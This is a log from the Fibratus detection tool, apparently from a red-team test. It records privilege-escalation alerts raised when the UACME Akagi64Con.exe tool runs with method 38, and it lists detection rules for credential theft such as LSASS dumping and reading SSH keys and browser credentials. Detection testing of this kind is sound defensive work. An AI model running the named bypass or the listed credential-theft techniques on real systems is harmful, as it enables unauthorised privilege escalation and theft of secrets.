"C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:19:55+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): + Seq: 8603213 + Pid: 15088 + Tid: 3484 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:19:46.8501248 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f74a121e0, file_path➜ C:\Users\nedo\AppData\Local\Temp\kmkze.msc, irp➜ ffff978f6e4f40f8, share_mask➜ , status➜ Success, tid➜ 3484, type➜ File + Metadata: rule.name: UAC bypass via rouge MMC snap-in, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15088 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:19:55+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): + Seq: 8603352 + Pid: 5700 + Tid: 14688 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:19:46.8632753 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN_IF, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f7553ed80, file_path➜ C:\Users\nedo\AppData\Local\oh-my-posh\omp.cache, irp➜ ffff978f6f4da708, share_mask➜ READ|WRITE, status➜ Success, tid➜ 14688, type➜ File + Metadata: rule.name: UAC bypass via rouge MMC snap-in, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5700 + Ppid: 10124 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=8.5673" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=8.5673" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:19:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:19:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:19:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:20:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:20:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 